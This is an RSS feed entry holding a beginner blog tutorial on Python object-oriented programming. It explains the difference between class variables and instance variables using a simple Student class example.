            <content:encoded><![CDATA[<blockquote>PYTHON OOP — Understanding the use and the difference between Class variable and Instance variable</blockquote><p>Having exposed to python programmers scripts on several platform, it’s discovered that a bunch of us are deprived of knowledge in distinguishing between Class variable and Instance variable. As a result of this, when and where to apply them has turned out to be a guessing game and in this confused state we do apply them wrongly not understanding why. Honestly, this have mitigate our code efficiency and reliability a lot. The aim of this write-up is to cast out this ignorance and give a clear understanding on how these variables works.</p><p><strong>What are variables in general?</strong></p><p>Variables are memory locations in the computer which are used to store values for the computer to process. In Python, variables do not require forward declaration — all you need to do is provide a variable name and assign it some value. for example:</p><p>data1 = 1</p><p>data2 = “for first”</p><p>To output the values stored in the variables,</p><p>print(data1, data2)</p><p><em>output</em>: 1 for first</p><p>There are different types of variables in OOPs in python but here we want to talk about</p><ol><li><strong>Instance variable</strong></li><li><strong>Class variable</strong></li></ol><h4>2.1 Instance Variable.</h4><p>Instance variable refers to the variable owned by the instance itself. The variables of each instance are different in memory.</p><p>class Student:</p><p>dept = ‘Dev’</p><p>numbers= 500</p><p><strong>def</strong> __init__(self, name, age):</p><p>self.name = name</p><p>self.age = age</p><p><strong>def</strong> print_age(self):</p><p>print(f’{self.age} years old’)</p><p>In the Student class, the <strong>name</strong> and <strong>age</strong> in the <strong>__init__</strong> method are two instance variables. Instance variables are created at the time of object creation and will be destroyed when it goes for Garbage collection.</p><p>For every object <strong>separate copy of instance variables</strong> will be created.</p><h4>2. Class Variable.</h4><p>Variables defined in a class other than methods are called class variables. Class variables are public variables of all instances. Each instance can access and modify class variables. In the Student class, <strong>dept</strong> and numbers are class variables.</p><p>When using instance variables and class variables, be sure to pay attention to that when using variables like obj<strong>.name</strong> to access variables, the instance will first find out whether there is an instance variable in its own instance variable list. If not, it will go to the class variable list to find it. If not, an exception will pop up.</p><p>class variable are mostly used for static variable whose values doesn’t change. and it is independent of the class method.</p><p>This is the summary, because python is a dynamic language, so it allow us to add new instance variables to instances and new class variables and methods to classes at any time. But the fact remains that instance variable are dependent on object whereas class variable are independent of methods in the class.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b97edc7d04a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>